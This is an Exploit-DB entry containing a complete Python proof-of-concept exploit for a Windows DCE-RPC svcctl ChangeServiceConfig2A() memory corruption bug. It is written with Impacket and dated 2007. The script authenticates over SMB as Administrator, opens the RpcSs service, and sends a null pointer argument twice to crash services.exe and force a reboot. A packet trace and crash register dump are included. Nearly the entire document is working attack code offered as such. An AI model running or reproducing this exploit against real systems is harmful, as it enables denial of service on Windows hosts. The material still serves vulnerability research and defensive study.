Exploit-DB #3453
Description: Microsoft Windows - DCE-RPC svcctl ChangeServiceConfig2A() Memory Corruption
Type: dos
Platform: windows
Date: 2007-03-10
Author: h07

Exploit:
#!/usr/bin/python
# MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day Memory Corruption PoC Exploit
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# Tested on Windows 2000 SP4 Polish (all patches)
#
# Requires..
# - Impacket : http://oss.coresecurity.com/projects/impacket.html
# - PyCrypto : http://www.amk.ca/python/code/crypto.html
#
# Details:..
#
# [exploit] Session Setup AndX Request, User: Administrator -->        [target]
# [exploit] Session Setup AndX Response <--                            [target]
# [exploit] Tree Connect AndX Request -->                              [target]
# [exploit] Tree Connect AndX Response <--                             [target]
# [exploit] NT Create AndX Request, Path: \svcctl -->                  [target]
# [exploit] NT Create AndX Response, Fid: 0x4000 <--                   [target]
# [exploit] DCERPC Bind UUID: SVCCTL -->                               [target]
# [exploit] DCERPC Bind_ack <--                                        [target]
# [exploit] SVCCTL OpenSCManagerW request -->                          [target]
# [exploit] SVCCTL OpenSCManagerW response(handle) <--                 [target]
# [exploit] SVCCTL OpenServiceW request -->                            [target]
# [exploit] SVCCTL OpenServiceW response(handle) <--                   [target]
# [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target]
# [exploit] DCERPC Fault: status: unknwon(0xc00000fd) <--              [target]
# [exploit] SVCCTL ChangeServiceConfig2A(handle, 1, 1, 0x00000000) --> [target]
# [exploit] SMB Trans Response, Error: Unknown DoS Error <--           [target](crashed)
#
# [Module services]
# Exception C0000005 (ACCESS_VIOLATION reading [00000000])
# -------------------------------------------------------------
# EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EBX=004D83C0: 28 83 4D 00 48 84 4D 00-34 84 4D 00 48 61 08 00
# ECX=00000890: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EDX=00000001: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# ESP=015BF8C0: 34 F9 5B 01 00 00 00 00-00 FB 5B 01 00 00 00 00
# EBP=015BF8F4: 30 F9 5B 01 AD 20 01 01-B8 FB 0D 00 01 00 00 00
# ESI=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
# EDI=01017000: 90 9C 07 00 FF FF FF FF-00 00 00 00 00 00 00 00
# EIP=010108A8: FF 30 68 90 A5 00 01 FF-75 FC E8 CF 1D 00 00 8B
#               --> PUSH DWORD PTR [EAX]
#
# [Process services.exe terminated, system reboot]
#
# Just for fun ;]
##

from impacket.structure import Structure
from impacket.dcerpc import transport
from impacket import uuid
from random import randint
from time import sleep

host = '192.168.0.1'
username = 'Administrator'
[CREDENTIAL_REDACTED]_Password'

interface = ('svcctl', '367abb81-9844-35f1-ad32-98f038001003', '2.0')

stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
stringbinding %= {
'host': host,
'pipe': interface[0],
}

# random dword
def dword_rand():
   s_dword = 256 ** 4
   return randint(0, s_dword)

# unicode string
def utf16(str):
   return str.encode('utf_16_le')

# MS RPC string
def rpcstr(str, id = 1, unicode_string = 1):
   class foo(Structure):
       alignment = 4
       structure = ()

       if(id == 1):
           structure += (('id', '<L')),

       structure += (
           ('max', '<L'),
           ('offset', '<L=0'),
           ('actual', '<L'),
           ('str', '%s'),
       )

   query = foo()

   if(id == 1):
       query['id'] = dword_rand()

   query['max'] = len(str)
   query['actual'] = len(str)

   if(unicode_string == 1):
       query['str'] = utf16(str)
   else:
       query['str'] = str

   return query

# MS RPC OpenSCManager
def OpenSCManager(host, access = 1):
   class foo(Structure):
       opnum = 0x0f
       structure = (
           ('str1', ':'),
           ('null', '<L=0'),
           ('access', '<L'),
       )

   query = foo()
   query['str1'] = rpcstr("\\\\%s\x00" % (host))
   query['access'] = access

   return query

# MS RPC OpenServiceW
def OpenService(handle, service, access = 1):
   class foo(Structure):
       opnum = 0x10
       structure = (
           ('handle', ':'),
           ('str1', ':'),
           ('access', '<L'),
       )

   query = foo()

   query['handle'] = handle
   query['str1'] = rpcstr("%s\x00" % (service), 0)
   query['access'] = access

   return query

trans = transport.DCERPCTransportFactory(stringbinding)
trans.set_credentials(username, password)
trans.connect()
dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin((interface[1], interface[2])))

query = OpenSCManager(host, access = 1)
dce.call(query.opnum, query)
raw = dce.recv()
handle = raw[:20]

query = OpenService(handle, "RpcSs", access = 0xF01FF)
dce.call(query.opnum, query)
raw = dce.recv()
handle = raw[:20]

##
# ChangeServiceConfig2A() [IDL code generated by mIDA v1.0.7]
#
# typedef struct struct_1 {
#  long elem_1;
#  [switch_is(elem_1)] union union_2 elem_2;
#  } struct_1 ;
#
# typedef [switch_type( unsigned long )] union union_2 {
# [case(1)]  struct struct_3 * elem_1;
# [case(2)]  struct struct_4 * elem_2;
# } union_2;
#
# typedef struct struct_3 {
# [string] char * elem_1;
# } struct_3 ;
#
#
# /* opcode: 0x24, address: 0x0101203B */
#
# long  sub_101203B (
# [in][context_handle] void * arg_1,
# [in] struct struct_1 arg_2
# );
##

class ChangeServiceConfig2A(Structure):
   opnum = 0x24
   structure = (
       ('context_handle', ':'),
       ('switch_is', '<L=1'),
       ('case', '<L=1'),
       ('struct_3', '<L=0x00000000'), # <-- vulnerable argument
     )

query = ChangeServiceConfig2A()
query['context_handle'] = handle

for i in range(0, 2):
   dce.call(query.opnum, query)
   sleep(1)

dce.disconnect()

# EoF

# milw0rm.com [2007-03-10]